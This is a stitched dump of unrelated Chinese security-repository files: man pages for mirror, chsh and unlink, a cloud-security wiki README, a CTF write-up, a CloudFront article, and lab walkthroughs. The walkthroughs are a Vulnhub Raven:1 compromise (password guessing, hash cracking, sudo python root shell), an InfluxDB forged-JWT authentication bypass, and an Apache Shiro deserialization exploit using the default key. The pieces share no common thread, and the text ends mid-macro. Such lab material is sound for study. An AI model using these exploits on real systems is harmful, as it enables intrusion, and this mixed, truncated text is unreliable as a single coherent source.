exclude_patt+|^ListArchives/|^lost+found/|^scheme-7.0/|^.his
tory
# I tend to only keep the latest couple of versions of thing
s
# this stops mirror from retrieving the older versions I've
removed
max_days=30
do_deletes=false
package=X11R5
comment=X Windows (windowing graphics system for Un*x)
site=export.lcs.mit.edu
remote_dir=/pub/R5
local_dir+computing/graphics/systems/X11/pub/R5
# This is a local symlink to the free-for-all contrib area
# and is mirrored elsewhere
local_ignore=^contrib$
# Don't compress a thing. It is already compressed
# but doesn't look it.
compress_patt=
package=cnews
comment=The C News system
site=ftp.cs.toronto.edu
remote_dir=/pub/c-news
local_dir+computing/usenet/software/transport/c
compress_excl+|patches/PATCHDATES|WhereFrom
# THIS IS JUST A TEST
package=test vms site
site=vmsbox.somewhere.ac.uk
local_dir=/tmp/copy4
remote_dir=vmsserv/files
remote_fs=vms
# Must do these settings for VMS
flags_recursive=[...]
get_size_change=false
# and on, and on ...
.fi
.SH 提示
要增加一个新的档案包裹,首先打开 -n 选项检查它。
.PP
如果你要增加到一个已经存在档案的地方,那麽通常最好是 force
本地已经存在的档案时间符合远端的这样将会执行与远端档案之间
的时间比较。
.PP
尝试并将所有从相同节点撷取的档案包裹放在一起。使用这种方式
的话 mirror 将仅需签入一次。
.PP
记得所有的正规表示式都是 Perl 正规表示式。
.PP
如果远端节点包含你想展开("flatten out") 到相对应档案的符号
链结,那麽以改变传送给远端 ls 旗标的方式执行之。
.nf
flags_recursive+L
.fi
或是
.nf
flags_nonrecursive+L
.fi
首先以在远端节点的 ftp 指令下尝试 ls -lRatL 的方式来测试
远端档案服务处是否有任何符号链结回圈。
.PP
如果你正要映射一个非常大而不常改变的节点,等它初次映射後在
设定中加上 max_days=7 选项。以此方式 mirror 在更新的时候仅
需要注意最近的档案。然後每个礼拜一次,或者是有必要的时候,
以 -kmax_days=-0 呼叫 mirror 强制执行一次完整的更新。
.PP
如果你不想压缩从远端节点取得的任何东西则最简单的方法就是将
compress_patt 设为空(nothing) 的。
.PP
如果你想在映射一份档案包裹後执行某个指令那麽有个有用的技巧
是将 mail_prog 变数重设为程式的名称并将 mail_to 重设为其
参数。
.PP
对於 netware, dosftp, macos 以及 vms 而言一般你应该得要把
remote_dir 设为远端 ftp 伺服程式的 home 目录。手动连线并
在切换到子目录之前使用 pwd 指令找出 home 在哪里。如果你仅
想要映射整个档案树的一部份那麽应该在开头处给定包含此 home
目录的完整路径名称。
.PP
macos 的名称有时候会包含一些很难让它们通过 un*x shells 的
字元。因为档案压缩是经由 shell 执行最好设 compress_patt=
以便关闭压缩。
.PP
macos 档案在传输时似乎无论如何其大小都会改变,不管是以二进
位或是文字模式。所以最好是设 get_size_change=false 较佳。
.SH "网路观念(NETIQUETTE)"
如果你要映射一个远端节点,请遵守该节点管理者对於存取开节点
所设的限制。你通常可以使用标准的 ftp 指令连到该档案服务处
。任何限制一般会作为签入时的标题或是放在一个(希望是)明显
的档案里。
.PP
这里是,我希望是,一些好的一般原则:
.PP
只在本地以及远端节点的工作时间以外映射节点。
.PP
尝试每天映射一个远端节点超过一次可能是不友善的。
.PP
在映射一个远端节点之前,尝试先从当地的档案服务处寻找该档案
包裹,因为没有人会高兴你没有必要地占用许多网路频宽。
.PP
如果你有一个当地的档案服务处,那麽请告诉别人它的存在让他们
不必量费频宽以及 CPU 在远端节点上。
.PP
要记得在远端节点改变其存取限制时检查你的配置档。
.PP
定期检查远端节点是否有新的限制。
.SH "参阅 SEE ALSO"
perl(l), ftp(1), mm(1)
.SH "虫虫 BUGS"
某些网路观念指引应该要强调。
.PP
应该要能够如同符号链结一般地应付链结。
.PP
Suffers from creeping featurism.
.SH "注意 NOTES"
在 mirror 里的物件比你所想的还要近!
.SH "作者 AUTHOR"
Written by Lee McLoughlin . It uses an
extended version of the ftp.pl package originally by: Alan
R. Martello which uses the chat2.pl pack-
age by: Randal L. Schwartz
Special thanks to the following people for patches, com-
ments and other suggestions that have helped to improve
mirror. If I have omitted anyone, please contact me.
James Revell
Chris Myers
Amos Shapira
Paul A Vixie
Jonathan Kamens
Christian Andretzky
Kean Stump
Anita Eijs
Simon E Sperro
Aaron Wohl
Michael Meissner
Michael Graff
Bradley Rhoades
Edwards Reed
Joachim Schrod
David Woodgate
Pieter Immelman
Jost Krieger
Copyright (C) 1999 《Best Linux》. All rights reserved. Revised: 99-11-28.
.SH "[中文版维护人]"
.B 软件教程
.PP
最新的版本是mirror-2.9.7(20031118) 因此您手上这份1996年的原始文档+1999年的翻译也许不能满足您的要求了。请登录
.BI http://sunsite.org.uk/packages/mirror/mirror.html
来参看原文。
.SH "[中文版最新更新]"
.B 2001/01/01
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
chsh
===
用来更换登录系统时使用的shell
## 补充说明
**chsh命令** 用来更换登录系统时使用的shell。若不指定任何参数与用户名称,则chsh会以应答的方式进行设置。
### 语法
```shell
chsh(选项)(参数)
```
### 选项
```shell
-s<shell 名称>或--shell<shell 名称>:更改系统预设的shell环境。;
-l或--list-shells:列出目前系统可用的shell清单;
-u或--help:在线帮助;
-v或-version:显示版本信息。
```
### 参数
用户名:要改变默认shell的用户。
### 实例
**查看系统安装了哪些shell的两种方法:**
第一种:
```shell
[rocrocket@localhost ~]$ chsh -l
/bin/sh
/bin/bash
/sbin/nologin
/bin/zsh
```
第二种:
```shell
[rocrocket@localhost ~]$ cat /etc/shells
/bin/sh
/bin/bash
/sbin/nologin
/bin/zsh
```
其实`chsh -l`也是来查看这个文件。
**查看当前正在使用的shell:**
```shell
[rocrocket@localhost ~]$ echo $SHELL
/bin/bash
```
注意SHELL一定要是大写。可以看到,目前使用的shell是`/bin/bash`
**把我的shell改成zsh:**
```shell
[rocrocket@localhost ~]$ chsh -s /bin/zsh
Changing shell for rocrocket.
Password:
Shell changed.
[rocrocket@localhost ~]$
```
使用chsh加选项`-s`就可以修改登录的shell了!你会发现你现在执行`echo $SHELL`后仍然输出为`/bin/bash`,这是因为你需要重启你的shell才完全投入到zsh怀抱中去。`chsh -s`其实修改的就是`/etc/passwd`文件里和你的用户名相对应的那一行。现在来查看下:
```shell
[rocrocket@localhost ~]$ cat /etc/passwd|grep ^rocrocket
rocrocket:x:500:500:rocrocket,China:/rocrocket/PSB/home:/bin/zsh
```
你可以发现输出内容的最后部分已经变成了`/bin/zsh`了,下次重启的时候,linux就会读取这一命令来启动shell了!
**把shell修改回/bin/bash:**
```shell
[rocrocket@localhost ~]$ chsh -s /bin/bash
Changing shell for rocrocket.
Password:
Shell changed.
```
|
sec-knowleage
|
# T Wiki 云安全知识文库
[](https://github.com/teamssix/twiki) [](https://wiki.teamssix.com/) [](https://wiki.wgpsec.org/) [](http://wiki.peiqi.tech/) [](https://twitter.com/teamssix) [](https://github.com/teamssix)
## 前言
`T Wiki` 是一个面向云安全方向的知识库,这一点是和其他文库最大的不同,也许这是国内第一个云安全知识文库?
搭建这个文库的起因是笔者发现在云安全方向的中文资料属实不多,少有的这些资料也很散乱,于是搭建了这个文库。
文库的地址为:[wiki.teamssix.com](https://wiki.teamssix.com/)
## 本地部署
### Docker 部署(推荐)
```bash
docker pull teamssix/twiki:main
docker run --name twiki -d -p 7777:80 teamssix/twiki:main
```
然后直接访问本地 IP 的 7777 端口即可。
### 手动部署
> 需要本地先安装 node 且版本需要大于或等于 12
```bash
git clone https://github.com/teamssix/TWiki.git --depth 1
cd TWiki
npm install --global yarn
yarn install
yarn docs:build
```
build 完之后,将 docs/.vuepress/dist 目录下的文件复制到你的 nginx 或者 apache 服务的网站根目录下即可。
## 感谢以下为 T Wiki 文库贡献的师傅们 :confetti_ball:
<table>
<tr>
<td align="center"><img alt="TeamsSix"
src="./docs/.vuepress/public/img/1651741861.png" style="width: 100px;"/><br />TeamsSix</td>
<td align="center"><img alt="1derian"
src="./docs/.vuepress/public/img/1650108029.png" style="width: 100px;" /><br />1derian</td>
<td align="center"><img alt="ShangRui-hash"
src="./docs/.vuepress/public/img/1650108092.png" style="width: 100px;" /><br />ShangRui-hash</td>
<td align="center"><img alt="半人间丶"
src="./docs/.vuepress/public/img/1650108207.png" style="width: 100px;" /><br />半人间丶</td>
<td align="center"><img alt="UzJu"
src="./docs/.vuepress/public/img/1650253985.png" style="width: 100px;" /><br />UzJu</a></td>
<td align="center"><img alt="Idle Life"
src="./docs/.vuepress/public/img/1650865577.png" style="width: 100px;" /><br />Idle Life</td>
</tr>
<tr>
<td align="center"><img alt="zhengjim"
src="./docs/.vuepress/public/img/1650942808.png" style="width: 100px;" /><br />zhengjim</a></td>
<td align="center"><img alt="zxynull"
src="./docs/.vuepress/public/img/1651146804.png" style="width: 100px;" /><br />zxynull</a></td>
<td align="center"><img alt="m4d3bug"
src="./docs/.vuepress/public/img/1651740464.png" style="width: 100px;" /><br />m4d3bug</a></td>
<td align="center"><img alt="da Vinci【达文西】"
src="./docs/.vuepress/public/img/1651917214.png" style="width: 100px;" /><br />da Vinci【达文西】</a></td>
<td align="center"><img alt="tanger"
src="./docs/.vuepress/public/img/1653815174.png" style="width: 100px;" /><br />tanger</a></td>
<td align="center"><img alt="想走安全的小白"
src="./docs/.vuepress/public/img/1654852861.png" style="width: 100px;" /><br />想走安全的小白</a></td>
</tr>
<tr>
<td align="center"><img alt="Esonhugh"
src="./docs/.vuepress/public/img/1654854214.png" style="width: 100px;" /><br />Esonhugh</a></td>
<td align="center"><img alt="一生热爱"
src="./docs/.vuepress/public/img/1657203872.png" style="width: 100px;" /><br />一生热爱</a></td>
<td align="center"><img alt="Kfzz1"
src="./docs/.vuepress/public/img/1667370152.png" style="width: 100px;" /><br />Kfzz1</a></td>
<td align="center"><img alt="happi0"
src="./docs/.vuepress/public/img/1674129072.png" style="width: 100px;" /><br />happi0</a></td>
<td align="center"><img alt="cr"
src="./docs/.vuepress/public/img/1684313513.png" style="width: 100px;" /><br />cr</a></td>
<td align="center"><img alt="k.so"
src="./docs/.vuepress/public/img/1686309883.png" style="width: 100px;" /><br />k.so</a></td>
</tr>
<tr>
<td align="center"><img alt="zunlongzhou"
src="./docs/.vuepress/public/img/1688704501.png" style="width: 100px;" /><br />zunlongzhou</a></td>
<td align="center"><img alt="Ma1tobiose"
src="./docs/.vuepress/public/img/1688880306.png" style="width: 100px;" /><br />Ma1tobiose</a></td>
<td align="center"><img alt="DVKunion"
src="./docs/.vuepress/public/img/1689259230.png" style="width: 100px;" /><br />DVKunion</a></td>
<td align="center"><img alt="曾哥"
src="./docs/.vuepress/public/img/1689483069.png" style="width: 100px;" /><br />曾哥</a></td>
<td align="center"><img alt="苏打养乐多"
src="./docs/.vuepress/public/img/1692362083.png" style="width: 100px;" /><br />苏打养乐多</a></td>
</tr>
</table>
[一起补充文库?](https://wiki.teamssix.com/About/Contribute.html)
## 文库介绍
首先来看文库首页,文库主要分成了四个板块,分别为`云服务`、`云原生`、`CF 使用手册`、`云安全资源`。

首先来看 [云安全资源](https://wiki.teamssix.com/CloudSecurityResources/) 板块,这个板块是我个人觉着整个知识库较为与众不同的地方,在这里可以看到汇总的云安全资源,比如云安全相关的文章、公众号、工具、靶场等等。

这部分的内容我也同步到了 Github 上单独作为一个项目,项目名称叫做 awesome-cloud-security,项目地址为:[github.com/teamssix/awesome-cloud-security](https://github.com/teamssix/awesome-cloud-security)
如果你知道一些比较好的云安全资源,欢迎留言补充,我会更新到这个板块中,首页的贡献者处也将出现你的身影。
在 [云服务](https://wiki.teamssix.com/CloudService/) 板块可以看到云服务方向的文章、笔记。

在 [云原生](https://wiki.teamssix.com/CloudNative/) 板块可以看到云原生方向的文章、笔记。

在 [CF 使用手册](https://wiki.teamssix.com/cf/) 板块里详细记录了云环境利用框架 CF 工具的使用方法,CF 云环境利用框架工具项目地址:[github.com/teamssix/cf](https://github.com/teamssix/cf)

如果你想要投稿的话,那么在文库的 [一起补充](https://wiki.teamssix.com/About/Contribute.html) 处可以找到投稿的方式。
## 最后
相信通过这些资料能够在一定程度上帮助想要学习或者正在学习云安全的人,同时也欢迎读者一起来完善这个文库,从而帮助到更多的人,一起助力国内云安全的发展。
> 更多信息欢迎关注我的个人微信公众号:TeamsSix
<div align=center><img width="800" src="https://cdn.jsdelivr.net/gh/teamssix/BlogImages/imgs/202204152148071.png" div align=center/></div>
|
sec-knowleage
|
# Where am I
Misc, 100 points
## Description:
> What is the name of the city where the server for tamuctf.com is located?
>
> (Not in standard gigem{flag} format)
## Solution:
We can use a service such as `iplocation.com` to determine the location of the server.
```console
root@kali:/media/sf_CTFs/tamu/Where_am_I# curl "https://iplocation.com/" --data "ip=$(host tamuctf.com | awk '/has address/ { print $4 }')"
{"city":"Boardman","company":"Amazon.com","continent_code":"NA","country_code":"US","country_name":"United States","found":1,"ip":"52.33.57.247","ip_header":"IP address","isp":"Amazon.com","lat":45.8491,"lng":-119.7143,"metro_code":810,"postal_code":"97818","region":"OR","region_name":"Oregon","time_zone":"America\/Los_Angeles"}
```
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH UNLINK 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
unlink \- 调用 unlink 函数删除指定文件
.SH 概述
\fBunlink\fP \fI\,文件\/\fP
.br
\fBunlink\fP \fI\,选项\/\fP
.SH 描述
.\" Add any additional description here
.PP
调用 unlink 函数删除指定的文件。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Michael Stone 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBunlink\fP(2)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/unlink>
.br
或者在本地使用: info \(aq(coreutils) unlink invocation\(aq
|
sec-knowleage
|
# Raven:1
> https://download.vulnhub.com/raven/Raven.ova
靶场IP:`192.168.32.207`
扫描对外端口服务
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 -sV 192.168.32.207
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-06 05:28 EDT
Nmap scan report for 192.168.32.207
Host is up (0.00091s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
43608/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:60:91:44 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds
```
浏览器访问80端口

爆破目录
```
┌──(root💀kali)-[/tmp]
└─# dirb http://192.168.32.207
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Sep 6 22:39:28 2022
URL_BASE: http://192.168.32.207/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.207/ ----
==> DIRECTORY: http://192.168.32.207/css/
==> DIRECTORY: http://192.168.32.207/fonts/
==> DIRECTORY: http://192.168.32.207/img/
+ http://192.168.32.207/index.html (CODE:200|SIZE:16819)
==> DIRECTORY: http://192.168.32.207/js/
==> DIRECTORY: http://192.168.32.207/manual/
+ http://192.168.32.207/server-status (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.32.207/vendor/
==> DIRECTORY: http://192.168.32.207/wordpress/
```
访问`/wordpress/ `

使用wpscan枚举用户
```
┌──(root💀kali)-[/tmp]
└─# wpscan --url http://192.168.32.207/wordpress/ -eu
```
```
[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```
使用`michael/michael`登录ssh
```
┌──(root💀kali)-[/tmp]
└─# ssh michael@192.168.32.207
The authenticity of host '192.168.32.207 (192.168.32.207)' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T63OxqkEIR39pi835oSDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.32.207' (ECDSA) to the list of known hosts.
michael@192.168.32.207's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@Raven:~$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for michael:
Sorry, user michael may not run sudo on raven.
```
查看`wp-config.php`配置文件
```
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```
登录MySQL查询用户表
```
michael@Raven:/var/www/html/wordpress$ mysql -uroot -p -h127.0.0.1
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 67
Server version: 5.5.60-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.01 sec)
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.00 sec)
mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 | | 0 | michael |
| 2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org | | 2018-08-12 23:31:16 | | 0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
2 rows in set (0.00 sec)
```
爆破密码
```
┌──(root💀kali)-[/tmp]
└─# cat hash.txt
$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
┌──(root💀kali)-[/tmp]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pink84 (?)
1g 0:00:00:03 DONE (2022-09-06 22:47) 0.2652g/s 12171p/s 12171c/s 12171C/s remix..milkdud
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
```
切换到`steven`用户
```
michael@Raven:/var/www/html/wordpress$ su steven
Password:
$
$ id
uid=1001(steven) gid=1001(steven) groups=1001(steven)
```
查看sudo列表
```
$ sudo -l
Matching Defaults entries for steven on raven:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User steven may run the following commands on raven:
(ALL) NOPASSWD: /usr/bin/python
```
提权
```
sudo python -c 'import pty;pty.spawn("/bin/bash")'
```

|
sec-knowleage
|
# InfluxDB JWT 认证绕过漏洞(CVE-2019-20933)
InfluxDB是一款著名的时序数据库,其使用jwt作为鉴权方式。
在其1.7.6版本以前,默认设置jwt的认证密钥`shared-secret`为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。
参考链接:
- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
- https://github.com/influxdata/influxdb/issues/12927
- https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
- https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
## 漏洞环境
执行如下命令启动InfluxDB 1.6.6:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8086/debug/vars`即可查看一些服务信息,但此时执行SQL语句则会出现401错误:

## 漏洞复现
我们借助<https://jwt.io/>来生成jwt token:
```
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1676346267
}
```
其中,`admin`是一个已经存在的用户,`exp`是一个时间戳,代表着这个token的过期时间,你需要设置为一个未来的时间戳。
最终生成的token:

发送带有这个jwt token的数据包,可见SQL语句执行成功:
```
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show+users
```

|
sec-knowleage
|
---
title: 未配置默认根对象的风险简单分析
---
<center><h1>AWS CloudFront 未配置默认根对象的风险简单分析</h1></center>
---
## 0x00 前言
AWS CloudFront 简单理解就是 AWS 的 CDN 服务,在 AWS 安全标准和最佳实践中,AWS 官方将 CloudFront 未配置默认根对象这个问题定级为严重,这里来学习了解一下这个问题。
## 0x01 介绍
我一般在直接看他们官方介绍的时候,第一眼往往会让人摸不着头脑,再仔细看看才会明白所表达的意思,不知道是不是因为翻译的问题,这里谈谈我所消化的理解。
要明白默认根对象,可以先看个例子:一般当我们在浏览器里输入访问一个网站时,比如 `teamssix.com`,实际上浏览器打开的是 `teamssix.com/index.html` ,这里的 `index.html` 就是默认根对象。
所以默认根对象其实就是指当我们访问一个网站根目录时,这个网站所默认跳转指向的对象,故而叫默认根对象。
在使用 CloudFront 时,如果不配置默认根对象,就意味着当我们访问 `teamssix.com` 时,就真的会访问 `teamssix.com`,而不是 `teamssix.com/index.html`,这时用户如果想浏览这个网站就需要自己拼接 `/index.html` 路径到 URL 中了。
## 0x02 简单分析
根据官方的描述,不配置默认根对象对和 S3 相关的 CloudFront 影响比较多,首先这里先创建一个 S3,然后再创建一个和 S3 关联的 CloudFront,创建完成后,CloudFront 会分配给我们一个 URL 地址,通过这个地址就可以访问到 S3 服务了。
> 实际上这里的描述是不太准确的,为了帮助理解,我简化了这里的描述。
前面说过,当没有配置默认根对象的时候,我们访问一个网站的根目录,真的就是在访问它的根目录,那么这时我们访问刚才 CloudFront 分配给我们的地址看看会是什么。
</br><img width="800" src="/img/1678349592.png"></br>
可以看到和直接访问 S3 根目录是一样的效果,如果此时 S3 存在列举对象的风险的话,那么在没有配置默认根对象的时候,直接访问 CloudFront 分配地址看到的就是这样的效果。
</br><img width="700" src="/img/1678349600.png"></br>
> 这个页面中泄漏了 S3 存储桶的名字,即这个地址所对应的 S3 真实地址。
但如果我们把默认根对象配置成了 index.html,再次访问 CloudFront 分配的地址,就是这样子,这才是预期的展示效果。
</br><img width="700" src="/img/1678349608.png"></br>
## 0x03 总结
综上分析,配置默认根对象可以在一定程度上避免以下问题:
1. 减少 S3 的攻击面
2. 避免真实的 S3 地址泄漏
3. 避免潜在的安全风险和漏洞
4. 避免默认起始页混乱,使 CloudFront 能更好的处理客户端请求,提升访问者体验
不管是什么问题,其影响程度还是需要根据实际情况去具体分析,毕竟在某些情况下,这个问题有可能会造成很大的影响,在某些情况下,这个问题可能不会造成啥影响。
最后其实还是有一些疑惑,在 AWS 安全标准和最佳实践中,定级为严重的问题是很少的,这个未配置默认根对象的问题我个人觉着定级为高危或者中危应该是比较合理的,对于这个问题如果你还知道一些其他的信息,欢迎一起沟通。
**参考链接:**
- 《什么是 Amazon CloudFront?》
[https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html)
- 《指定默认根对象》
[https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DefaultRootObject.html](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DefaultRootObject.html)
- 《CloudFront distributions should have a default root object configured》
[https://docs.aws.amazon.com/securityhub/latest/userguide/cloudfront-controls.html#cloudfront-1](https://docs.aws.amazon.com/securityhub/latest/userguide/cloudfront-controls.html#cloudfront-1)
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023年3月9日"
}
}
</script>
|
sec-knowleage
|
# Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
## 漏洞环境
执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8080`可使用`admin:vulhub`进行登录。
## 漏洞复现
使用ysoserial生成CommonsBeanutils1的Gadget:
```
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
```
使用Shiro内置的默认密钥对Payload进行加密:
```java
package org.vulhub.shirodemo;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
```
发送rememberMe Cookie,即可成功执行`touch /tmp/success`:

|
sec-knowleage
|
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.13
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings. \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote. | will give a
.\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to
.\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
. ds -- \(*W-
. ds PI pi
. if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
. if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch
. ds L" ""
. ds R" ""
. ds C` ""
. ds C' ""
'br\}
.el\{\
. ds -- \|\(em\|
. ds PI \(*p
. ds L" ``
. ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD. Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
. de IX
. tm Index:\\$1\t\\n%\t"\\$2"
..
. nr % 0
. rr F
.\}
.\"
.\" For nroff, turn off justification. Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear. Run. Save yourself. No user-serviceable parts.
. \" fudge factors for nroff and troff
.if n \{\
. ds #H 0
. ds #V .8m
. ds #F .3m
. ds #[ \f1
. ds #] \fP
.\}
.if t \{\
. ds #H ((1u-(\\\\n(.fu%2u))*.13m)
. ds #V .6m
. ds #F 0
. ds #[ \&
. ds #] \&
.\}
. \" simple accents for nroff and troff
.if n \{\
